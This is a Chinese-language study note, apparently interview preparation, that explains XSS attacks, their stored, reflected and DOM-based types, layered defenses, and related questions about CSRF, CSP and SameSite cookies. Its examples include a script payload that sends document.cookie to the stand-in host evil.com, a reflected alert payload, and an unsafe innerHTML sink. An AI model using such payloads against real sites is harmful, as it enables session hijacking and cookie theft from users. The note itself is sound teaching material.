5月27日 21:38

什么是 XSS 攻击?XSS 有哪些类型?如何防御?

什么是 XSS 攻击?

XSS(Cross-Site Scripting,跨站脚本攻击)是指攻击者将恶意脚本注入网页,当其他用户浏览时脚本在其浏览器中执行,可窃取 Cookie、劫持会话、篡改页面内容。

XSS 的三种类型

存储型 XSS

恶意脚本被永久存入服务器(如评论区、数据库)。用户访问含恶意脚本的页面即触发,危害最大,攻击者无需诱骗用户点击链接。

示例:评论区提交 <script>fetch("https://evil.com?c="+document.cookie)</script>

反射型 XSS

恶意脚本通过 URL 参数传入,服务器将其"反射"回响应页面。需诱骗用户点击恶意链接才触发,常见于搜索页、错误页。

示例:https://example.com/search?q=<script>alert(1)</script>

DOM 型 XSS

漏洞纯在客户端,不经过服务器。JavaScript 直接读取 URL 片段等来源并写入 DOM,脚本在浏览器中直接执行。

示例:document.getElementById("out").innerHTML = location.hash.slice(1)

如何防御 XSS?

  1. 输入验证:白名单校验用户输入的类型、长度、格式,拒绝不合预期数据
  2. 输出编码:根据上下文(HTML/JS/URL/CSS)对特殊字符转义,如 <&lt;
  3. CSP 策略:设置 Content-Security-Policy 限制脚本来源,禁止内联脚本执行
  4. HttpOnly Cookie:设置 Cookie 的 HttpOnly 标志,使 JS 无法读取敏感 Cookie
  5. 安全 API:用 textContent 代替 innerHTML,避免 eval()new Function()
  6. 框架防护:React/Vue 默认转义输出,但 dangerouslySetInnerHTML / v-html 需格外谨慎

常见追问

XSS 和 CSRF 有什么区别? XSS 是向页面注入脚本执行恶意操作;CSRF 是借用用户已登录的身份,构造请求让浏览器自动带上 Cookie 发起伪造操作。XSS 偷数据,CSRF 冒充用户。

CSP 能完全防止 XSS 吗? 不能。CSP 限制脚本来源和执行方式,但如果攻击者能在允许的脚本来源中注入代码(如 CDN 被攻破),CSP 也无法阻止。防御需多层配合。

SameSite Cookie 对 XSS 有什么影响? SameSite 控制 Cookie 跨站发送行为,主要防御 CSRF。对 XSS 本身无直接防护,但可限制窃取到的 Cookie 在跨站请求中被自动携带,缩小攻击面。

标签:XSS